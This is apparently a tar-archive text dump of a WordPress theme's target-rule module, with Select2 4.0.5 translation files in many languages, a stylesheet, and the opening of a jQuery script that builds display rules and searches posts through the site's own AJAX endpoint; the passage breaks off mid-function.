e.define("select2/i18n/es",[],function(){return{errorLoading:function(){return"No se pudieron cargar los resultados"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Por favor, elimine "+t+" car";return t==1?n+="ácter":n+="acteres",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Por favor, introduzca "+t+" car";return t==1?n+="ácter":n+="acteres",n},loadingMore:function(){return"Cargando más resultados…"},maximumSelected:function(e){var t="Sólo puede seleccionar "+e.maximum+" elemento";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"No se encontraron resultados"},searching:function(){return"Buscando…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/zh-CN.js 0000666 00000001403 15165730730 0012514 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/zh-CN",[],function(){return{errorLoading:function(){return"无法载入结果。"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="请删除"+t+"个字符";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="请再输入至少"+t+"个字符";return n},loadingMore:function(){return"载入更多结果…"},maximumSelected:function(e){var t="最多只能选择"+e.maximum+"个项目";return t},noResults:function(){return"未找到结果"},searching:function(){return"搜索中…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/az.js 0000666 00000001277 15165730730 0012220 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/az",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum;return t+" simvol silin"},inputTooShort:function(e){var t=e.minimum-e.input.length;return t+" simvol daxil edin"},loadingMore:function(){return"Daha çox nəticə yüklənir…"},maximumSelected:function(e){return"Sadəcə "+e.maximum+" element seçə bilərsiniz"},noResults:function(){return"Nəticə tapılmadı"},searching:function(){return"Axtarılır…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/ps.js 0000666 00000001775 15165730730 0012233 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ps",[],function(){return{errorLoading:function(){return"پايلي نه سي ترلاسه کېدای"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="د مهربانۍ لمخي "+t+" توری ړنګ کړئ";return t!=1&&(n=n.replace("توری","توري")),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="لږ تر لږه "+t+" يا ډېر توري وليکئ";return n},loadingMore:function(){return"نوري پايلي ترلاسه کيږي..."},maximumSelected:function(e){var t="تاسو يوازي "+e.maximum+" قلم په نښه کولای سی";return e.maximum!=1&&(t=t.replace("قلم","قلمونه")),t},noResults:function(){return"پايلي و نه موندل سوې"},searching:function(){return"لټول کيږي..."}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/tr.js 0000666 00000001407 15165730730 0012226 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/tr",[],function(){return{errorLoading:function(){return"Sonuç yüklenemedi"},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" karakter daha girmelisiniz";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="En az "+t+" karakter daha girmelisiniz";return n},loadingMore:function(){return"Daha fazla…"},maximumSelected:function(e){var t="Sadece "+e.maximum+" seçim yapabilirsiniz";return t},noResults:function(){return"Sonuç bulunamadı"},searching:function(){return"Aranıyor…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/he.js 0000666 00000001671 15165730730 0012200 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/he",[],function(){return{errorLoading:function(){return"שגיאה בטעינת התוצאות"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="נא למחוק ";return t===1?n+="תו אחד":n+=t+" תווים",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="נא להכניס ";return t===1?n+="תו אחד":n+=t+" תווים",n+=" או יותר",n},loadingMore:function(){return"טוען תוצאות נוספות…"},maximumSelected:function(e){var t="באפשרותך לבחור עד ";return e.maximum===1?t+="פריט אחד":t+=e.maximum+" פריטים",t},noResults:function(){return"לא נמצאו תוצאות"},searching:function(){return"מחפש…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/sr.js 0000666 00000001654 15165730730 0012231 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sr",[],function(){function e(e,t,n,r){return e%10==1&&e%100!=11?t:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?n:r}return{errorLoading:function(){return"Preuzimanje nije uspelo."},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Obrišite "+n+" simbol";return r+=e(n,"","a","a"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Ukucajte bar još "+n+" simbol";return r+=e(n,"","a","a"),r},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(t){var n="Možete izabrati samo "+t.maximum+" stavk";return n+=e(t.maximum,"u","e","i"),n},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/it.js 0000666 00000001556 15165730730 0012222 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/it",[],function(){return{errorLoading:function(){return"I risultati non possono essere caricati."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Per favore cancella "+t+" caratter";return t!==1?n+="i":n+="e",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Per favore inserisci "+t+" o più caratteri";return n},loadingMore:function(){return"Caricando più risultati…"},maximumSelected:function(e){var t="Puoi selezionare solo "+e.maximum+" element";return e.maximum!==1?t+="i":t+="o",t},noResults:function(){return"Nessun risultato trovato"},searching:function(){return"Sto cercando…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/ru.js 0000666 00000002151 15165730730 0012224 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ru",[],function(){function e(e,t,n,r){return e%10<5&&e%10>0&&e%100<5||e%100>20?e%10>1?n:t:r}return{errorLoading:function(){return"Невозможно загрузить результаты"},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Пожалуйста, введите на "+n+" символ";return r+=e(n,"","a","ов"),r+=" меньше",r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Пожалуйста, введите еще хотя бы "+n+" символ";return r+=e(n,"","a","ов"),r},loadingMore:function(){return"Загрузка данных…"},maximumSelected:function(t){var n="Вы можете выбрать не более "+t.maximum+" элемент";return n+=e(t.maximum,"","a","ов"),n},noResults:function(){return"Совпадений не найдено"},searching:function(){return"Поиск…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/pl.js 0000666 00000001637 15165730730 0012221 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/pl",[],function(){var e=["znak","znaki","znaków"],t=["element","elementy","elementów"],n=function(t,n){if(t===1)return n[0];if(t>1&&t<=4)return n[1];if(t>=5)return n[2]};return{errorLoading:function(){return"Nie można załadować wyników."},inputTooLong:function(t){var r=t.input.length-t.maximum;return"Usuń "+r+" "+n(r,e)},inputTooShort:function(t){var r=t.minimum-t.input.length;return"Podaj przynajmniej "+r+" "+n(r,e)},loadingMore:function(){return"Trwa ładowanie…"},maximumSelected:function(e){return"Możesz zaznaczyć tylko "+e.maximum+" "+n(e.maximum,t)},noResults:function(){return"Brak wyników"},searching:function(){return"Trwa wyszukiwanie…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/km.js 0000666 00000002053 15165730730 0012206 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/km",[],function(){return{errorLoading:function(){return"មិនអាចទាញយកទិន្នន័យ"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="សូមលុបចេញ "+t+" អក្សរ";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="សូមបញ្ចូល"+t+" អក្សរ រឺ ច្រើនជាងនេះ";return n},loadingMore:function(){return"កំពុងទាញយកទិន្នន័យបន្ថែម..."},maximumSelected:function(e){var t="អ្នកអាចជ្រើសរើសបានតែ "+e.maximum+" ជម្រើសប៉ុណ្ណោះ";return t},noResults:function(){return"មិនមានលទ្ធផល"},searching:function(){return"កំពុងស្វែងរក..."}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/nb.js 0000666 00000001411 15165730730 0012173 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/nb",[],function(){return{errorLoading:function(){return"Kunne ikke hente resultater."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Vennligst fjern "+t+" tegn"},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vennligst skriv inn "+t+" tegn til";return n+" tegn til"},loadingMore:function(){return"Laster flere resultater…"},maximumSelected:function(e){return"Du kan velge maks "+e.maximum+" elementer"},noResults:function(){return"Ingen treff"},searching:function(){return"Søker…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/ar.js 0000666 00000001546 15165730730 0012207 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ar",[],function(){return{errorLoading:function(){return"لا يمكن تحميل النتائج"},inputTooLong:function(e){var t=e.input.length-e.maximum;return"الرجاء حذف "+t+" عناصر"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"الرجاء إضافة "+t+" عناصر"},loadingMore:function(){return"جاري تحميل نتائج إضافية..."},maximumSelected:function(e){return"تستطيع إختيار "+e.maximum+" بنود فقط"},noResults:function(){return"لم يتم العثور على أي نتائج"},searching:function(){return"جاري البحث…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/fr.js 0000666 00000001565 15165730730 0012215 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/fr",[],function(){return{errorLoading:function(){return"Les résultats ne peuvent pas être chargés."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Supprimez "+t+" caractère"+(t>1)?"s":""},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Saisissez au moins "+t+" caractère"+(t>1)?"s":""},loadingMore:function(){return"Chargement de résultats supplémentaires…"},maximumSelected:function(e){return"Vous pouvez seulement sélectionner "+e.maximum+" élément"+(e.maximum>1)?"s":""},noResults:function(){return"Aucun résultat trouvé"},searching:function(){return"Recherche en cours…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/mk.js 0000666 00000001725 15165730730 0012213 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/mk",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Ве молиме внесете "+e.maximum+" помалку карактер";return e.maximum!==1&&(n+="и"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Ве молиме внесете уште "+e.maximum+" карактер";return e.maximum!==1&&(n+="и"),n},loadingMore:function(){return"Вчитување резултати…"},maximumSelected:function(e){var t="Можете да изберете само "+e.maximum+" ставк";return e.maximum===1?t+="а":t+="и",t},noResults:function(){return"Нема пронајдено совпаѓања"},searching:function(){return"Пребарување…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/hr.js 0000666 00000001511 15165730730 0012206 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hr",[],function(){function e(e){var t=" "+e+" znak";return e%10<5&&e%10>0&&(e%100<5||e%100>19)?e%10>1&&(t+="a"):t+="ova",t}return{errorLoading:function(){return"Preuzimanje nije uspjelo."},inputTooLong:function(t){var n=t.input.length-t.maximum;return"Unesite "+e(n)},inputTooShort:function(t){var n=t.minimum-t.input.length;return"Unesite još "+e(n)},loadingMore:function(){return"Učitavanje rezultata…"},maximumSelected:function(e){return"Maksimalan broj odabranih stavki je "+e.maximum},noResults:function(){return"Nema rezultata"},searching:function(){return"Pretraga…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/el.js 0000666 00000002156 15165730730 0012203 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/el",[],function(){return{errorLoading:function(){return"Τα αποτελέσματα δεν μπόρεσαν να φορτώσουν."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Παρακαλώ διαγράψτε "+t+" χαρακτήρ";return t==1&&(n+="α"),t!=1&&(n+="ες"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Παρακαλώ συμπληρώστε "+t+" ή περισσότερους χαρακτήρες";return n},loadingMore:function(){return"Φόρτωση περισσότερων αποτελεσμάτων…"},maximumSelected:function(e){var t="Μπορείτε να επιλέξετε μόνο "+e.maximum+" επιλογ";return e.maximum==1&&(t+="ή"),e.maximum!=1&&(t+="ές"),t},noResults:function(){return"Δεν βρέθηκαν αποτελέσματα"},searching:function(){return"Αναζήτηση…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/en.js 0000666 00000001475 15165730730 0012210 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Please delete "+t+" character";return t!=1&&(n+="s"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Please enter "+t+" or more characters";return n},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/af.js 0000666 00000001520 15165730730 0012163 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/af",[],function(){return{errorLoading:function(){return"Die resultate kon nie gelaai word nie."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Verwyders asseblief "+t+" character";return t!=1&&(n+="s"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Voer asseblief "+t+" of meer karakters";return n},loadingMore:function(){return"Meer resultate word gelaai…"},maximumSelected:function(e){var t="Kies asseblief net "+e.maximum+" item";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"Geen resultate gevind"},searching:function(){return"Besig…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/ko.js 0000666 00000001530 15165730730 0012207 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ko",[],function(){return{errorLoading:function(){return"결과를 불러올 수 없습니다."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="너무 깁니다. "+t+" 글자 지워주세요.";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="너무 짧습니다. "+t+" 글자 더 입력해주세요.";return n},loadingMore:function(){return"불러오는 중…"},maximumSelected:function(e){var t="최대 "+e.maximum+"개까지만 선택 가능합니다.";return t},noResults:function(){return"결과가 없습니다."},searching:function(){return"검색 중…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/vi.js 0000666 00000001442 15165730730 0012216 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/vi",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vui lòng nhập ít hơn "+t+" ký tự";return t!=1&&(n+="s"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vui lòng nhập nhiều hơn "+t+" ký tự";return n},loadingMore:function(){return"Đang lấy thêm kết quả…"},maximumSelected:function(e){var t="Chỉ có thể chọn được "+e.maximum+" lựa chọn";return t},noResults:function(){return"Không tìm thấy kết quả"},searching:function(){return"Đang tìm…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/id.js 0000666 00000001362 15165730730 0012175 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/id",[],function(){return{errorLoading:function(){return"Data tidak boleh diambil."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Hapuskan "+t+" huruf"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Masukkan "+t+" huruf lagi"},loadingMore:function(){return"Mengambil data…"},maximumSelected:function(e){return"Anda hanya dapat memilih "+e.maximum+" pilihan"},noResults:function(){return"Tidak ada data yang sesuai"},searching:function(){return"Mencari…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/hu.js 0000666 00000001444 15165730730 0012216 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hu",[],function(){return{errorLoading:function(){return"Az eredmények betöltése nem sikerült."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Túl hosszú. "+t+" karakterrel több, mint kellene."},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Túl rövid. Még "+t+" karakter hiányzik."},loadingMore:function(){return"Töltés…"},maximumSelected:function(e){return"Csak "+e.maximum+" elemet lehet kiválasztani."},noResults:function(){return"Nincs találat."},searching:function(){return"Keresés…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/dsb.js 0000666 00000001771 15165730730 0012355 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/dsb",[],function(){var e=["znamuško","znamušce","znamuška","znamuškow"],t=["zapisk","zapiska","zapiski","zapiskow"],n=function(t,n){if(t===1)return n[0];if(t===2)return n[1];if(t>2&&t<=4)return n[2];if(t>=5)return n[3]};return{errorLoading:function(){return"Wuslědki njejsu se dali zacytaś."},inputTooLong:function(t){var r=t.input.length-t.maximum;return"Pšosym lašuj "+r+" "+n(r,e)},inputTooShort:function(t){var r=t.minimum-t.input.length;return"Pšosym zapódaj nanejmjenjej "+r+" "+n(r,e)},loadingMore:function(){return"Dalšne wuslědki se zacytaju…"},maximumSelected:function(e){return"Móžoš jano "+e.maximum+" "+n(e.maximum,t)+"wubraś."},noResults:function(){return"Žedne wuslědki namakane"},searching:function(){return"Pyta se…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/is.js 0000666 00000001407 15165730730 0012214 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/is",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vinsamlegast styttið texta um "+t+" staf";return t<=1?n:n+"i"},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vinsamlegast skrifið "+t+" staf";return t>1&&(n+="i"),n+=" í viðbót",n},loadingMore:function(){return"Sæki fleiri niðurstöður…"},maximumSelected:function(e){return"Þú getur aðeins valið "+e.maximum+" atriði"},noResults:function(){return"Ekkert fannst"},searching:function(){return"Leita…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/pt-BR.js 0000666 00000001527 15165730730 0012530 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/pt-BR",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Apague "+t+" caracter";return t!=1&&(n+="es"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Digite "+t+" ou mais caracteres";return n},loadingMore:function(){return"Carregando mais resultados…"},maximumSelected:function(e){var t="Você só pode selecionar "+e.maximum+" ite";return e.maximum==1?t+="m":t+="ns",t},noResults:function(){return"Nenhum resultado encontrado"},searching:function(){return"Buscando…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/hsb.js 0000666 00000001772 15165730730 0012362 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hsb",[],function(){var e=["znamješko","znamješce","znamješka","znamješkow"],t=["zapisk","zapiskaj","zapiski","zapiskow"],n=function(t,n){if(t===1)return n[0];if(t===2)return n[1];if(t>2&&t<=4)return n[2];if(t>=5)return n[3]};return{errorLoading:function(){return"Wuslědki njedachu so začitać."},inputTooLong:function(t){var r=t.input.length-t.maximum;return"Prošu zhašej "+r+" "+n(r,e)},inputTooShort:function(t){var r=t.minimum-t.input.length;return"Prošu zapodaj znajmjeńša "+r+" "+n(r,e)},loadingMore:function(){return"Dalše wuslědki so začitaja…"},maximumSelected:function(e){return"Móžeš jenož "+e.maximum+" "+n(e.maximum,t)+"wubrać"},noResults:function(){return"Žane wuslědki namakane"},searching:function(){return"Pyta so…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/sv.js 0000666 00000001424 15165730730 0012230 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sv",[],function(){return{errorLoading:function(){return"Resultat kunde inte laddas."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vänligen sudda ut "+t+" tecken";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vänligen skriv in "+t+" eller fler tecken";return n},loadingMore:function(){return"Laddar fler resultat…"},maximumSelected:function(e){var t="Du kan max välja "+e.maximum+" element";return t},noResults:function(){return"Inga träffar"},searching:function(){return"Söker…"}}}),{define:e.define,require:e.require}})(); modules/target-rule/i18n/fa.js 0000666 00000001756 15165730730 0012176 0 ustar 00 /*! Select2 4.0.5 | https://github.com/select2/select2/blob/master/LICENSE.md */ (function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/fa",[],function(){return{errorLoading:function(){return"امکان بارگذاری نتایج وجود ندارد."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="لطفاً "+t+" کاراکتر را حذف نمایید";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="لطفاً تعداد "+t+" کاراکتر یا بیشتر وارد نمایید";return n},loadingMore:function(){return"در حال بارگذاری نتایج بیشتر..."},maximumSelected:function(e){var t="شما تنها میتوانید "+e.maximum+" آیتم را انتخاب نمایید";return t},noResults:function(){return"هیچ نتیجهای یافت نشد"},searching:function(){return"در حال جستجو..."}}}),{define:e.define,require:e.require}})(); modules/target-rule/target-rule.css 0000666 00000005346 15165730730 0013437 0 ustar 00 /* Select2 */ .post-type-astra_adv_header span.select2.select2-container.select2-container--default, .post-type-astra-advanced-hook span.select2.select2-container.select2-container--default { margin-top: 0; } .post-type-astra_adv_header li.select2-results__option.select2-results__message, .post-type-astra-advanced-hook li.select2-results__option.select2-results__message { background: #ecebeb; margin-bottom: 0; } .ast-target-rule-wrapper .select2-container { display: inline-block; position: relative; vertical-align: middle; width: 100% !important; } .ast-target-rule-wrapper .select2-container--default.select2-container--focus .select2-selection--multiple, .ast-target-rule-wrapper .select2-container--default .select2-selection--multiple { border: 1px solid #ddd; margin-top: 10px; } .ast-target-rule-wrapper .select2-container .select2-search--inline, .ast-target-rule-wrapper .select2-container--default .select2-search--inline .select2-search__field { width: 100% !important; } /* Target Rule field */ .astra-target-rule-condition, .astra-user-role-condition { position: relative; padding: 0 30px 0 0; margin-top: 10px; } .target_rule-specific-page-wrap { position: relative; padding: 0 30px 0 0; } .user_role-add-rule-wrap, .target_rule-add-rule-wrap, .target_rule-add-exclusion-rule, .user_role-add-rule-wrap { margin-top: 15px; } .ast-target-rule-display-on, .ast-target-rule-exclude-on { margin-bottom: 10px; } .target_rule-condition-delete, .user_role-condition-delete { position: absolute; color: #999; right: 0px; top: 0px; font-size: 18px; line-height: 18px; width: 18px; height: 18px; display: inline-block; cursor: pointer; top: 50%; transform: translateY(-50%); } .target_rule-condition-delete:hover { color: #d54e21; } .target_rule-add-rule-wrap { display: inline-block; } .target_rule-add-exclusion-rule { display: inline-block; margin-left: 10px; } .configure-content [data-element="exclude_from"], .configure-content [data-element="exclusive_on"] { padding-bottom: 0; } .configure-content .ast-allow-specific-posts input, .configure-content .ast-post-types { margin-right: 3px; } .hide-on-devices input[type=checkbox] { margin-right: 5px; } .search-panel.search-close-icon { pointer-events: auto; cursor: pointer; } .ast-hidden { display: none !important; } .select2-selection .select2-selection__choice__remove { float: right; margin: 0px 2px 2px 3px; } .select2-container--default .select2-selection--multiple .select2-selection__choice{ padding: 0 3px 0 5px; } modules/target-rule/target-rule.js 0000666 00000017404 15165730730 0013261 0 ustar 00 ;(function ( $, window, undefined ) { var init_target_rule_select2 = function( selector ) { $(selector).astselect2({ placeholder: astRules.search, ajax: { url: ajaxurl, dataType: 'json', method: 'post', delay: 250, data: function (params) { return { q: params.term, // search term page: params.page, action: 'astra_get_posts_by_query', 'nonce': astRules.ajax_nonce, }; }, processResults: function (data) { // console.log(data); // console.log("inside"); // parse the results into the format expected by Select2. // since we are using custom formatting functions we do not need to // alter the remote JSON data return { results: data }; }, cache: true }, minimumInputLength: 2, language: astRules.ast_lang }); }; var update_target_rule_input = function(wrapper) { var rule_input = wrapper.find('.ast-target_rule-input'); var old_value = rule_input.val(); var new_value = []; wrapper.find('.astra-target-rule-condition').each(function(i) { var $this = $(this); var temp_obj = {}; var rule_condition = $this.find('select.target_rule-condition'); var specific_page = $this.find('select.target_rule-specific-page'); var rule_condition_val = rule_condition.val(); var specific_page_val = specific_page.val(); if ( '' != rule_condition_val ) { temp_obj = { type : rule_condition_val, specific: specific_page_val } new_value.push( temp_obj ); }; }) var rules_string = JSON.stringify( new_value ); rule_input.val( rules_string ); }; var update_close_button = function(wrapper) { type = wrapper.closest('.ast-target-rule-wrapper').attr('data-type'); rules = wrapper.find('.astra-target-rule-condition'); show_close = false; if ( 'display' == type ) { if ( rules.length > 1 ) { show_close = true; } }else{ show_close = true; } rules.each(function() { if ( show_close ) { jQuery(this).find('.target_rule-condition-delete').removeClass('ast-hidden'); }else{ jQuery(this).find('.target_rule-condition-delete').addClass('ast-hidden'); } }); }; var update_exclusion_button = function( force_show, force_hide ) { var display_on = $('.ast-target-rule-display-on-wrap'); var exclude_on = $('.ast-target-rule-exclude-on-wrap'); var exclude_field_wrap = exclude_on.closest('tr'); var 